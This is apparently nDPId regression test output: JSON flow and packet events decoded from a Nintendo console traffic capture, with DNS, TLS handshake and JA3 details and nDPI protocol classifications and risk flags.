+00567{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731322,"pkt_ts_usec":454625,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"fLuKifuEAA6OGXEMCABFAACYFZdAAOUGcTo2uwq5wKgMcgG7vMgz\/J5Zi2972IAYALkcKwAAAQEICgQM20EAGkXPFwMDAF\/eldsI13HzPlUjJzvSUWyEIzWGgbOyhWxdkIHfN3lgjdjjc7JiXYu\/ooQ\/gzWIbwSHhgUl7CbzYWzRlB2Fe4u0GxVFMrAIoxb4XR3ehSS5gi8Kq9fYRepj92tegMbl5w=="} +00495{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731322,"pkt_ts_usec":460902,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AA6OGXEMfLuKifuECABFAABnEVxAAEAGGqfAqAxyNrsKubzIAbuLb3vYM\/yevYAYBAhG+gAAAQEICgAaYTYEDNtBFwMDAC4AAAAAAAAAKH6viddQUv6VCP9kwNVv1cM5qFQr1yPk5rVuTEPwOaETSFnM6WhQ"} +00425{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731322,"pkt_ts_usec":761757,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0FZhAAOUGcZ02uwq5wKgMcgG7vMgz\/J69i298C4AQALmNxAAAAQEICgQM25wAGmE2"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1500731323269,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"35.158.74.61","src_port":52119,"dst_port":33335,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731323,"pkt_ts_usec":269434,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEV8AAEARLjHAqAxyI55KPcuXgjcAVAoAMquYZAIAAACgRQAAPD+rAYcrvhgZcqXY4tF4R087lVXf\/uabOP7DTtPl\/Z68o2TwyTMiy\/1PT8Q0PYJjfL9\/FaWie4QujpeJZMzmHA=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1500731323269,"flow_last_seen":0,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":84,"flow_max_l4_data_len":84,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"35.158.74.61","src_port":52119,"dst_port":33335,"l4_proto":"udp","ndpi": {"proto":"Nintendo.Amazon","breed":"Acceptable","category":"Game"}} +00502{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731323,"pkt_ts_usec":270842,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEWAAAEARLjDAqAxyI55KPcuXgjcAVAoAMquYZAIAAACgRQAAPD+rAYcrvhgZcqXY4tF4R087lVXf\/uabOP7DTtPl\/Z68o2TwyTMiy\/1PT8Q0PYJjfL9\/FaWie4QujpeJZMzmHA=="} +00502{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731323,"pkt_ts_usec":270871,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"AA6OGXEMfLuKifuECABFAABoEWEAAEARLi\/AqAxyI55KPcuXgjcAVCUqMquYZAIAAACgRgAAPD+rAYcrvhgZcqXY4tF4R087lVXf\/uabOP7DTtPl\/Z68o2TwyTMiy\/1PT8Q0PYJjeofEEG4mAZPKsmIYZ3XQPw=="} +00519{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731325,"pkt_ts_usec":969577,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AA6OGXEMfLuKifuECABFAAB3EWxAAEAGGofAqAxyNrsKubzIAbuLb3wLM\/yevYAYBAjCGAAAAQEICgAabugEDNucFwMDAD4AAAAAAAAAKQBLCxbftfuQ6RdPW1NPLnDfWKlfYxHKvtpNvQeweHjnBTZbyCTP7uHKIkCEMYM2kYliMuygZg=="} +00425{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":243377,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0FZlAAOUGcZw2uwq5wKgMcgG7vMgz\/J69i298ToAQALl8awAAAQEICgQM3wAAGm7o"} +00508{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":243623,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"fLuKifuEAA6OGXEMCABFAABuFZpAAOUGcWE2uwq5wKgMcgG7vMgz\/J69i298ToAYALndSAAAAQEICgQM3wIAGm7oFwMDADXeldsI13HzP0s2vRCyWSgJqWrL1q0E7hs0QgiwABAs9gNMGr70P9cX\/B5wLRi6VUy78fZThA=="} +00492{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":243666,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"fLuKifuEAA6OGXEMCABFAABjFZtAAOUGcWs2uwq5wKgMcgG7vMgz\/J73i298ToAYALmmxwAAAQEICgQM3wQAGm7oFwMDACreldsI13HzQBqKmagIsIg4+BSbtvWrERw7Cx24NMg6fIn\/vYkSB8K040M="} +00426{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":245994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EW1AAEAGGsnAqAxyNrsKubzIAbuLb3xOM\/yfJoAQBAZ3nQAAAQEICgAab\/4EDN8C"} +00495{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":264540,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AA6OGXEMfLuKifuECABFAABnEW5AAEAGGpXAqAxyNrsKubzIAbuLb3xOM\/yfJoAYBAi9AAAAAQEICgAacA8EDN8CFwMDAC4AAAAAAAAAKpy5SflBIBu0s2Gi6ZAq+orGZgz7Ja9OqwSZiiV3OPowvNxPY9Kb"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1500731326270,"flow_last_seen":0,"flow_tot_l4_data_len":696,"flow_min_l4_data_len":696,"flow_max_l4_data_len":696,"flow_avg_l4_data_len":696,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"52.10.205.177","src_port":52119,"dst_port":34343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01353{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":270619,"pkt_caplen":730,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":730,"pkt_l4_len":696,"pkt":"AA6OGXEMfLuKifuECABFAALMEW8AAEARl9zAqAxyNArNscuXhicCuLNGMquYZAEAAACsAAAACAICgAAAAAAAZU1IgACGJwAAAAAPAfz\/AmL\/\/\/\/\/\/\/\/\/\/\/\/\/DNhnHrgUDeqh96EJudpqr7HTWmwuyiNXAoN8EJ3L9Q9BYy53b12QoycQBbgF0+MGumCDqya3DRDi\/FgfUDp8jmtF0eLtdJawWMd0Uh7gRi0nJAedvr+L4LDG+1PkKHdQjXkwcc63uSwXLbhZGs5rZ8pLuCki3H7JLOG5CI96WiAzLSOgOT5MmMOkBR9lHnUbly8I57OvnsPjzu2ZoGj750rOuJoq4PDp+HTtcuUkR\/yuCERU5DE5fS3WD79Od2EljENI\/Aj0rbyEoWaVKXUGbMeIN\/PHtUKEKwxkiH\/DZpj\/dOZVZle2A+wpaUtVb5Kkq8m0M0sj8U0Nr8\/f9iy5nCcQHobd29hf9qcfXx\/tCnteI0cP0tyykizOxpnlPK2I0STXsPD0wxOnU\/OOfu8Wm3V94s2PEbCeAbRx8PvXHbjtAm8AnmQMBMeFM6TQwwpijOYTfaXxrgmiFU\/AHPdepp0ILcWD5QSKt4MWDsJ\/eC61SjGvCVRvXn2JW5KB\/4JQcfZHw4S\/auTmIFCllOyidDXFohQ4NU8A9vt0e5qrI\/cou3U09qQhgu6ncsvX+jQusCyJhx1EpdaFLaOseb4xo0IjeHtTg5uKzMiP+l3dg6BJfcICpsS0fKy4Lvcxzq4iHlV\/CkZw5k\/5qPEe1WClYIIYAQ1QuHKqZOMgl0qEP1biit38pQoNuI5A\/WZ4yptUyrSpaVacwxp5yZkU47ddcg7lId\/wkwQjzVN9BmlVIcEupSyiP64T8RypU57m5OsmKDUV8cUXr\/nGnwi\/96TbsG+A6i29VkTJzG6j04DbRd\/2rnSbi4lJUC2\/\/AUQQJGvBPVxZ\/JcWHrRv6UUWsmJyg=="} +00567{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":298903,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"fLuKifuEAA6OGXEMCABFAACYFZxAAOUGcTU2uwq5wKgMcgG7vMgz\/J8mi298ToAYALn8TgAAAQEICgQM3xwAGm7oFwMDAF\/eldsI13HzQY+jjeZOG1C3fjYOGMEiqu6JsZOF5\/uiXK7AM2l769TTf154q2v9zbCFNCC6ALlbxvM8pv2XV8yyN4WK8eEyQGzfQDuMxNSh1+Sz2yYJMcSF9ukaE370Xw=="} +00567{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":299048,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"fLuKifuEAA6OGXEMCABFAACYFZ1AAOUGcTQ2uwq5wKgMcgG7vMgz\/J+Ki298ToAYALk+VQAAAQEICgQM3xwAGm7oFwMDAF\/eldsI13HzQqAkxUI0xWa6ij6Lpqhc06Pw1+lVbmXZYyKnR37zc7pvIr0pn1DVXpNbupTsD9YOF1tU5U\/oMCUQTYRsQBKpg3f29mFDNobSkLRQiC8x2ocUYzYJyki+uA=="} +00426{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":300283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EXBAAEAGGsbAqAxyNrsKubzIAbuLb3yBM\/yf7oAQBAR2UwAAAQEICgAacDUEDN8c"} +00427{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":509924,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0FZ5AAOUGcZc2uwq5wKgMcgG7vMgz\/J\/ui298gYAQALl5jgAAAQEICgQM31IAGnAP"} +00498{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":514460,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AA6OGXEMfLuKifuECABFAABnEXFAAEAGGpLAqAxyNrsKubzIAbuLb3yBM\/yf7oAYBAhFFAAAAQEICgAacQkEDN9SFwMDAC4AAAAAAAAAK0d\/G8p0ni2twbzFitrGOytEAUmtCDahFriKpsYeQObBc0l7VsX\/"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1500731326599,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":18874,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":599476,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AA6OGXEMfLuKifuECABFAABgEXIAAEARz1fAqAxywKgMAUm6ADUATBSXAEkBAAABAAAAAAAAIGUwZDY3YzUwOWZiMjAzODU4ZWJjYjJmZTNmODhjMmFhBGJhYXMIbmludGVuZG8DY29tAAABAAE="} +00719{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":89,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1500731326599,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":18874,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00716{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":628959,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"fLuKifuEAA6OGXEMCABFAAELMF9AAEARb7\/AqAwBwKgMcgA1SboA95AtAEmBgAABAAkAAAAAIGUwZDY3YzUwOWZiMjAzODU4ZWJjYjJmZTNmODhjMmFhBGJhYXMIbmludGVuZG8DY29tAAABAAHADAAFAAEAAAAeAB8OZDNmdGhwdnY3Znp4MDAKY2xvdWRmcm9udANuZXQAwFAAAQABAAAAPAAENsAb2cBQAAEAAQAAADwABDbAG8TAUAABAAEAAAA8AAQ2wBsnwFAAAQABAAAAPAAENsAbUcBQAAEAAQAAADwABDbAG0rAUAABAAEAAAA8AAQ2wBuuwFAAAQABAAAAPAAENsAbaMBQAAEAAQAAADwABDbAGwg="} +00748{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":90,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1500731326599,"flow_last_seen":1500731326628,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":76,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":161,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"192.168.12.1","src_port":18874,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS.Nintendo","breed":"Fun","category":"Game"},"dns": {"query":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.192.27.217"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1500731326644,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.217","src_port":41517,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":644516,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OGXEMfLuKifuECABFAAA8EXNAAEAGCZbAqAxyNsAb2aItAbvSLGpEAAAAAKACgABWsQAAAgQFUAEDAwYEAggKABpxjAAAAAA="} +00436{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":676754,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"fLuKifuEAA6OGXEMCABFAAA8AABAAPUGZgg2wBvZwKgMcgG7oi3AHA3T0ixqRaAScSCE4wAAAgQFrAQCCAqn0Wp9ABpxjAEDAwg="} +00424{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":680974,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EXRAAEAGCZ3AqAxyNsAb2aItAbvSLGpFwBwN1IAQAg4imAAAAQEICgAaca+n0Wp9"} +00713{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":686105,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AA6OGXEMfLuKifuECABFAAEIEXVAAEAGCMjAqAxyNsAb2aItAbvSLGpFwBwN1IAYAg7fBQAAAQEICgAacbOn0Wp9FgMBAM8BAADLAwPpevzeArLIKOrS51pZ0JeD5YrYSKYz0y0ak5UBe34eswAANMArwC\/MqcyowArACcATwCPAJ8AUAJ7MqgAzADIAZwA5ADgAawAWABMAnAAvADwANQA9AAoBAABuAAAANwA1AAAyZTBkNjdjNTA5ZmIyMDM4NThlYmNiMmZlM2Y4OGMyYWEuYmFhcy5uaW50ZW5kby5jb23\/AQABAAAKAAgABgAXABgAGQALAAIBAAANABgAFgQBBQEGAQIBBAMFAwYDAgMFAgQCAgI="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":94,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1500731326644,"flow_last_seen":1500731326686,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.217","src_port":41517,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00425{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":720507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0Z1VAAPUG\/ro2wBvZwKgMcgG7oi3AHA3U0ixrGYAQAHYjVAAAAQEICqfRaoEAGnGz"} +02239{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":729816,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"fLuKifuEAA6OGXEMCABFAAV4Z1ZAAPUG+XU2wBvZwKgMcgG7oi3AHA3U0ixrGYAQAHaN8wAAAQEICqfRaoIAGnGzFgMDAD0CAAA5AwMRDTWfNYj4EYpJO8QbwmRz9oBFjevY\/udMdZeBDiYOHwDALwAAEQAAAAD\/AQABAAALAAQDAAECFgMDCiMLAAofAAocAAVhMIIFXTCCBEWgAwIBAgIQDLc1747+ClgENzVweZfUazANBgkqhkiG9w0BAQsFADBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTAeFw0xNTA4MTIwMDAwMDBaFw0xODA4MTUxMjAwMDBaMGwxCzAJBgNVBAYTAkpQMQ4wDAYDVQQIEwVLeW90bzESMBAGA1UEBxMJTWluYW1pLWt1MRswGQYDVQQKExJOaW50ZW5kbyBDby4sIEx0ZC4xHDAaBgNVBAMMEyouYmFhcy5uaW50ZW5kby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDvHjYnPMnI2ujzXQAv\/sZxCk+hQZpiH3YoETjk178sWENTpRVgts\/jLXVmbHrGT698SwHvquQeXNwWukIrOvm4DAUPCajA\/n4RTGKZuf25A7FJg4QwmPGkNBT5ZnZYSKZ772lzG8kPmd0J24gWhHsMNI0dGJ6erGXqXyKCNvV9YzAQR6s25oxroIexQOJX8an2kNoKqU\/tH4oiV6cwV13ckquhdw5vWG8arhUtkAPx4BGUNGdlWycRarCBNjoBZJa\/doJww7Oy3hYAO1ZzIUNn2LOCagw+nvuonYEMURa3Yu1Lb7wKO7GGgesAIj3vHSHW5YgsE1p6HxpmLHypxKdpAgMBAAGjggH1MIIB8TAfBgNVHSMEGDAWgBRRaP+QrwIHdTzM2WVkYqISuFlyOzAdBgNVHQ4EFgQUGvBqzm9IwlKorGDLeRMLmrRo35wwMQYDVR0RBCowKIITKi5iYWFzLm5pbnRlbmRvLmNvbYIRYmFhcy5uaW50ZW5kby5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjB1BgNVHR8EbjBsMDSgMqAwhi5odHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc2hhMi1oYS1zZXJ2ZXItZzQuY3JsMDSgMqAwhi5odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hhMi1oYS1zZXJ2ZXItZzQuY3JsMEIGA1UdIAQ7MDkwNwYJYIZIAYb9bAEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQCJth37waS4Si9TQGlnGGn1WoNGtRxjm1QsN0jByiblqEr1PJvHe8vw0GiV\/FkL6BgTU30mhllRJMjXyh7qD6zKzvx3821ERVhWVr3GW6Ldzug1ARTxDCpdgt4B87Jlaw7KQTtJOhBp0SPrUlW8z4JtpunQ5u8gjPeEjAJtfkl5tnZJoR6sZl0W2oPnYLRon1vKEQ=="} +00850{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":96,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1500731326644,"flow_last_seen":1500731326729,"flow_tot_l4_data_len":1768,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1380,"flow_avg_l4_data_len":294,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.217","src_port":41517,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} 